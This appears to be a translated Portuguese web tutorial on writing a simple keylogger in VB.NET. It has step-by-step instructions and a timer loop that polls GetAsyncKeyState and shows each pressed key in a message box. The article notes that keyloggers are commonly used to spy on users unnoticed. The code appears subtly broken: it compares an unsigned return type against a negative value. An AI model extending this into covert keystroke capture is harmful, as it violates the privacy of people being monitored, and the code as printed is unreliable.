Como fazer um keylogger em VB

Escrito por jaime avelar | Traduzido por caio amorim
Como fazer um keylogger em VB
Capturando teclas utilizando VB.NET (keyboard image by Fyerne from Fotolia.com)

Saber como fazer um keylogger utilizando Microsoft Visual Basic.NET (VB.NET) pode poupá-lo tempo quando você precisar desenvolver uma aplicação que capture todas as teclas utilizadas. Programas keylogger são geralmente utilizados para espiar ou obter informações sem que o usuário perceba que tal programa está rodando. Leis variam de acordo com o país sobre como um programa keylogger pode ser usado.

Instruções

  1. 1

    Inicie o Microsoft Visual Basic Express. Clique em "New Project" (Novo projeto) na parte esquerda de sua tela, então selecione "Windows Forms Application" (Aplicação Windows). Clique em "OK".

  2. 2

    Clique duas vezes em "Timer" (Cronômetro) no painel "Toolbox" (Caixa de ferramentas) para adicionar um novo contador de tempo. Clique com o botão direito em "Timer1", então selecione "Properties" (Propriedades). Próximo à "Enabled" (Habilitado), selecione "True" (Verdadeiro). Clique duas vezes em "Timer1" para abrir a janela "Form1.vb".

  3. 3

    Digite o seguinte código acima de "Timer1_Tick" para declarar a função "GetAsyncKeystate":

    Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Int32) As UShort

  4. 4

    Digite o seguinte código abaixo de "Timer1_Tick" para capturar as teclas digitadas enquanto o programa está rodando:

    Dim keyResult As Integer Dim chrKey As String Dim i As Integer

    For i = 2 To 90 keyResult = 0 keyResult = GetAsyncKeystate(i) If keyResult = -32767 Then chrKey = Chr(i) MsgBox(chrKey) Exit For End If Next i

  5. 5

    Pressione "F5" para rodar o programa, então aperte "B" no teclado e você verá uma caixa de diálogo mostrando a letra "B".

O que você precisa?

  • Microsoft Visual Basic Express

Lista completaMinimizar

Filtro:
  • Geral
  • Artigos
  • Slides
  • Vídeos
Mostrar:
  • Mais relevantes
  • Mais lidos
  • Mais recentes

Nenhum artigo disponível

Nenhum slide disponível

Nenhum vídeo disponível